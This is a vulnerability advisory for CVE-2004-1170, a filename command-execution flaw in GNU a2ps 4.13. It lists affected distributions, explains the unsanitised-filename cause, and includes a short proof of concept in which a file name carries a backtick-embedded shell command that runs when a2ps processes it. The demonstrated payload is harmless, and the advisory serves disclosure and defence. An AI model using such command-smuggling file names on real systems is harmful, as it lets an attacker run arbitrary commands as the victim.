GNU a2ps File Name Command Execution Vulnerability

BID:11025

Info

GNU a2ps File Name Command Execution Vulnerability

Bugtraq ID: 11025
Class: Input Validation Error
CVE: CVE-2004-1170
Remote: No
Local: Yes
Published: Aug 24 2004 12:00AM
Updated: May 08 2006 09:09PM
Credit: Discovery of this issue is credited to Rudolf Polzer <[email protected]>.
Vulnerable: SuSE SUSE Linux Enterprise Server 8
+ Linux kernel 2.4.21
+ Linux kernel 2.4.19
SuSE Linux Enterprise Server 9
SuSE Linux 8.1
Sun Java Desktop System (JDS) 2.0
Sun Java Desktop System (JDS) 2003
S.u.S.E. Linux Personal 9.1
S.u.S.E. Linux Personal 9.0 x86_64
S.u.S.E. Linux Personal 9.0
S.u.S.E. Linux Personal 8.2
Redhat Linux 9.0 i386
Redhat Linux 7.3 i686
Redhat Linux 7.3 i386
Redhat Linux 7.3
Redhat Fedora Core1
GNU a2ps 4.13 b
+ Debian Linux 3.0 sparc
 + Debian Linux 3.0 s/390
 + Debian Linux 3.0 ppc
 + Debian Linux 3.0 mipsel
 + Debian Linux 3.0 mips
 + Debian Linux 3.0 m68k
 + Debian Linux 3.0 ia-64
 + Debian Linux 3.0 ia-32
 + Debian Linux 3.0 hppa
 + Debian Linux 3.0 arm
 + Debian Linux 3.0 alpha
 + Debian Linux 3.0
+ MandrakeSoft Corporate Server 3.0 x86_64
 + MandrakeSoft Corporate Server 3.0
+ MandrakeSoft Corporate Server 2.1 x86_64
 + MandrakeSoft Corporate Server 2.1
+ Mandriva Linux Mandrake 10.2 x86_64
 + Mandriva Linux Mandrake 10.2
+ Mandriva Linux Mandrake 10.1 x86_64
 + Mandriva Linux Mandrake 10.1
+ Mandriva Linux Mandrake 10.0 AMD64
 + Mandriva Linux Mandrake 10.0
+ Mandriva Linux Mandrake 9.2 amd64
 + Mandriva Linux Mandrake 9.2
+ OpenPKG OpenPKG 2.2
+ OpenPKG OpenPKG 2.1
+ OpenPKG OpenPKG Current
 GNU a2ps 4.13
+ MandrakeSoft Corporate Server 2.1 x86_64
 + MandrakeSoft Corporate Server 2.1
+ Turbolinux Turbolinux Desktop 10.0
+ Turbolinux Turbolinux Server 10.0
Gentoo Linux
Not Vulnerable:

Discussion

GNU a2ps File Name Command Execution Vulnerability

Reportedly GNU a2ps is affected by a filename command-execution vulnerability. This issue is due to the application's failure to properly sanitize filenames.

An attacker might leverage this issue to execute arbitrary shell commands with the privileges of an unsuspecting user running the vulnerable application.

Although this issue reportedly affects only a2ps version 4.13, other versions are likely affected as well.

Exploit / POC

GNU a2ps File Name Command Execution Vulnerability

No exploit it required to leverage this issue. The following proof of concept has been provided:

The issue can be illustrated with the following set of shell commands:

$ touch 'x`echo >&2 42`.c'
$ a2ps -o /dev/null *.c
42
[x`echo >&2 42`.c (C): 0 pages on 0 sheets]
[Total: 0 pages on 0 sheets] saved into the file `/dev/null'

Solution / Fix

GNU a2ps File Name Command Execution Vulnerability

Solution:

Please see the referenced advisories for more information.


GNU a2ps 4.13 b

GNU a2ps 4.13

References

GNU a2ps File Name Command Execution Vulnerability

References:

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